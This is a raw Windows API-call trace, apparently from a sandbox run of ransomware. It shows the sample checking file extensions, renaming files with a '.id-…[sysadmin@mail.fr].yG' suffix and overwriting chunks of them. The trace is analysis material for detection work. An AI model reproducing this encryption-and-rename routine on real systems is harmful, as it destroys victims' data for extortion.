	[0136.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72
	[0136.064] lstrlenW (lpString=".1cd") returned 4
	[0136.064] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0136.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72
	[0136.064] lstrlenW (lpString=".jpg") returned 4
	[0136.064] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0136.064] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0136.064] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0136.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0136.065] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=10752) returned 1
	[0136.065] CloseHandle (hObject=0x3a8) returned 1
	[0136.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20
	[0136.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0136.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0136.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72
	[0136.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72
	[0136.066] lstrlenW (lpString=".doc") returned 4
	[0136.066] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0136.066] lstrlenW (lpString=".docx") returned 5
	[0136.066] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0136.066] lstrlenW (lpString=".pdf") returned 4
	[0136.066] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0136.066] lstrlenW (lpString=".xls") returned 4
	[0136.066] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0136.066] lstrlenW (lpString=".xlsx") returned 5
	[0136.066] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0136.066] lstrlenW (lpString=".ppt") returned 4
	[0136.066] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0136.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72
	[0136.066] lstrlenW (lpString=".zip") returned 4
	[0136.066] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0136.066] lstrlenW (lpString=".rar") returned 4
	[0136.066] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0136.066] lstrlenW (lpString=".bz2") returned 4
	[0136.066] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0136.066] lstrlenW (lpString=".7z") returned 3
	[0136.066] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0136.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72
	[0136.067] lstrlenW (lpString=".dbf") returned 4
	[0136.067] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0138.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x20) returned 1
	[0141.221] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0141.223] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0141.223] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fc64 | out: lpNewFilePointer=0x0) returned 1
	[0141.223] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fc24 | out: lpNewFilePointer=0x0) returned 1
	[0141.223] ReadFile (in: hFile=0x3a0, lpBuffer=0x470c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x407fc30, lpOverlapped=0x0 | out: lpBuffer=0x470c058*, lpNumberOfBytesRead=0x407fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0141.229] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x407fc24 | out: lpNewFilePointer=0x0) returned 1
	[0141.229] ReadFile (in: hFile=0x3a0, lpBuffer=0x474c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x407fc30, lpOverlapped=0x0 | out: lpBuffer=0x474c058*, lpNumberOfBytesRead=0x407fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0141.238] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x407fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.238] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x407fc24 | out: lpNewFilePointer=0x0) returned 1
	[0141.238] ReadFile (in: hFile=0x3a0, lpBuffer=0x478c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x407fc30, lpOverlapped=0x0 | out: lpBuffer=0x478c058*, lpNumberOfBytesRead=0x407fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0141.478] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.479] WriteFile (in: hFile=0x3a0, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x407fca8, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fca8*=0xc0102, lpOverlapped=0x0) returned 1
	[0141.502] SetEndOfFile (hFile=0x3a0) returned 1
	[0141.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x46b04d0
	[0141.636] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fc74 | out: lpNewFilePointer=0x0) returned 1
	[0141.636] WriteFile (in: hFile=0x3a0, lpBuffer=0x46b04d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x407fc80, lpOverlapped=0x0 | out: lpBuffer=0x46b04d0*, lpNumberOfBytesWritten=0x407fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0141.638] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x407fc74 | out: lpNewFilePointer=0x0) returned 1
	[0141.648] WriteFile (in: hFile=0x3a0, lpBuffer=0x46b04d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x407fc80, lpOverlapped=0x0 | out: lpBuffer=0x46b04d0*, lpNumberOfBytesWritten=0x407fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0141.730] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x407fc74 | out: lpNewFilePointer=0x0) returned 1
	[0141.730] WriteFile (in: hFile=0x3a0, lpBuffer=0x46b04d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x407fc80, lpOverlapped=0x0 | out: lpBuffer=0x46b04d0*, lpNumberOfBytesWritten=0x407fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0141.732] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b04d0 | out: hHeap=0x4f0000) returned 1
	[0141.735] CloseHandle (hObject=0x3a0) returned 1
	[0141.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x21) returned 1
	[0141.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0141.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0141.736] lstrlenW (lpString=".doc") returned 4
	[0141.736] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1
	[0141.736] lstrlenW (lpString=".docx") returned 5
	[0141.736] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1
	[0141.736] lstrlenW (lpString=".pdf") returned 4
	[0141.736] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1
	[0141.736] lstrlenW (lpString=".xls") returned 4
	[0141.736] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1
	[0141.736] lstrlenW (lpString=".xlsx") returned 5
	[0141.736] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1
	[0141.736] lstrlenW (lpString=".ppt") returned 4
	[0141.736] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1
	[0141.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0141.746] lstrlenW (lpString=".zip") returned 4
	[0141.746] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1
	[0141.746] lstrlenW (lpString=".rar") returned 4
	[0141.746] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1
	[0141.746] lstrlenW (lpString=".bz2") returned 4
	[0141.746] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1
	[0141.751] lstrlenW (lpString=".7z") returned 3
	[0141.751] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1
	[0141.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0141.751] lstrlenW (lpString=".dbf") returned 4
	[0141.751] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1
	[0141.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0141.751] lstrlenW (lpString=".1cd") returned 4
	[0141.751] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1
	[0141.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0141.751] lstrlenW (lpString=".jpg") returned 4
	[0141.751] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1
	[0141.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0141.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0141.751] lstrlenW (lpString=".doc") returned 4
	[0141.751] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1
	[0141.751] lstrlenW (lpString=".docx") returned 5
	[0141.752] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1
	[0141.752] lstrlenW (lpString=".pdf") returned 4
	[0141.752] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1
	[0141.752] lstrlenW (lpString=".xls") returned 4
	[0141.752] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1
	[0141.752] lstrlenW (lpString=".xlsx") returned 5
	[0141.752] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1
	[0141.752] lstrlenW (lpString=".ppt") returned 4
	[0141.752] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1
	[0141.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0141.752] lstrlenW (lpString=".zip") returned 4
	[0141.752] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1
	[0141.752] lstrlenW (lpString=".rar") returned 4
	[0141.752] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1
	[0141.752] lstrlenW (lpString=".bz2") returned 4
	[0141.752] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1
	[0141.752] lstrlenW (lpString=".7z") returned 3
	[0141.752] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1
	[0141.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0141.752] lstrlenW (lpString=".dbf") returned 4
	[0141.752] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1
	[0141.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0141.752] lstrlenW (lpString=".1cd") returned 4
	[0141.752] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1
	[0141.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0141.752] lstrlenW (lpString=".jpg") returned 4
	[0141.752] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1
	[0141.752] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0141.752] lstrlenW (lpString="jfxrt.jar") returned 9
	[0141.752] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0141.753] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=18246297) returned 1
	[0141.753] CloseHandle (hObject=0x3a0) returned 1
	[0141.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 0x20
	[0141.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.753] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0141.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0141.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0141.754] lstrlenW (lpString=".doc") returned 4
	[0141.754] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0141.754] lstrlenW (lpString=".docx") returned 5
	[0141.754] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0141.754] lstrlenW (lpString=".pdf") returned 4
	[0141.754] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0141.754] lstrlenW (lpString=".xls") returned 4
	[0141.754] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0141.754] lstrlenW (lpString=".xlsx") returned 5
	[0141.754] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0141.754] lstrlenW (lpString=".ppt") returned 4
	[0141.754] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0141.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0141.754] lstrlenW (lpString=".zip") returned 4
	[0141.754] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0141.754] lstrlenW (lpString=".rar") returned 4
	[0141.754] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0141.754] lstrlenW (lpString=".bz2") returned 4
	[0141.754] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0141.754] lstrlenW (lpString=".7z") returned 3
	[0141.754] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0141.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0141.766] lstrlenW (lpString=".dbf") returned 4
	[0141.766] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0141.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0141.766] lstrlenW (lpString=".1cd") returned 4
	[0141.766] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0141.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0141.766] lstrlenW (lpString=".jpg") returned 4
	[0141.766] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0141.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0141.766] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0141.766] lstrlenW (lpString=".doc") returned 4
	[0141.766] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0141.766] lstrlenW (lpString=".docx") returned 5
	[0141.766] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0141.766] lstrlenW (lpString=".pdf") returned 4
	[0141.766] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0141.766] lstrlenW (lpString=".xls") returned 4
	[0141.767] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0141.767] lstrlenW (lpString=".xlsx") returned 5
	[0141.767] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0141.767] lstrlenW (lpString=".ppt") returned 4
	[0141.767] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0141.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0141.767] lstrlenW (lpString=".zip") returned 4
	[0141.767] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0141.767] lstrlenW (lpString=".rar") returned 4
	[0141.767] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0141.767] lstrlenW (lpString=".bz2") returned 4
	[0141.767] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0141.767] lstrlenW (lpString=".7z") returned 3
	[0141.767] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0141.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0141.767] lstrlenW (lpString=".dbf") returned 4
	[0141.767] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0141.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0141.767] lstrlenW (lpString=".1cd") returned 4
	[0141.767] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0141.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0141.767] lstrlenW (lpString=".jpg") returned 4
	[0141.767] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0141.767] lstrcmpiW (lpString1=".0_144\\lib\\ext\\meta-index", lpString2=".yG") returned -1
	[0141.768] lstrlenW (lpString="meta-index") returned 10
	[0141.768] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0141.827] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=1461) returned 1
	[0141.827] CloseHandle (hObject=0x428) returned 1
	[0141.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 0x20
	[0141.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.829] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0141.829] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.829] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.829] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0141.830] GetLastError () returned 0x0
	[0141.830] ReadFile (in: hFile=0x428, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x5b5, lpOverlapped=0x0) returned 1
	[0141.861] WriteFile (in: hFile=0x424, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x5c0, lpOverlapped=0x0) returned 1
	[0141.862] ReadFile (in: hFile=0x428, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0141.862] WriteFile (in: hFile=0x424, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0141.862] SetEndOfFile (hFile=0x424) returned 1
	[0141.862] CloseHandle (hObject=0x424) returned 1
	[0141.862] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.862] SetEndOfFile (hFile=0x428) returned 1
	[0141.866] CloseHandle (hObject=0x428) returned 1
	[0141.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0141.868] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 1
	[0141.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0141.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0141.869] lstrlenW (lpString=".doc") returned 4
	[0141.869] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1
	[0141.869] lstrlenW (lpString=".docx") returned 5
	[0141.869] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1
	[0141.869] lstrlenW (lpString=".pdf") returned 4
	[0141.869] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1
	[0141.869] lstrlenW (lpString=".xls") returned 4
	[0141.869] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1
	[0141.869] lstrlenW (lpString=".xlsx") returned 5
	[0141.869] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1
	[0141.870] lstrlenW (lpString=".ppt") returned 4
	[0141.870] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1
	[0141.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0141.870] lstrlenW (lpString=".zip") returned 4
	[0141.870] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1
	[0141.870] lstrlenW (lpString=".rar") returned 4
	[0141.870] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1
	[0141.870] lstrlenW (lpString=".bz2") returned 4
	[0141.870] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1
	[0141.870] lstrlenW (lpString=".7z") returned 3
	[0141.870] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1
	[0141.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0141.870] lstrlenW (lpString=".dbf") returned 4
	[0141.870] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1
	[0141.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0141.870] lstrlenW (lpString=".1cd") returned 4
	[0141.870] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1
	[0141.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0141.870] lstrlenW (lpString=".jpg") returned 4
	[0141.870] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1
	[0141.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0141.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0141.870] lstrlenW (lpString=".doc") returned 4
	[0141.871] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1
	[0141.871] lstrlenW (lpString=".docx") returned 5
	[0141.871] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1
	[0141.871] lstrlenW (lpString=".pdf") returned 4
	[0141.871] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1
	[0141.871] lstrlenW (lpString=".xls") returned 4
	[0141.871] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1
	[0141.871] lstrlenW (lpString=".xlsx") returned 5
	[0141.871] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1
	[0141.871] lstrlenW (lpString=".ppt") returned 4
	[0141.871] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1
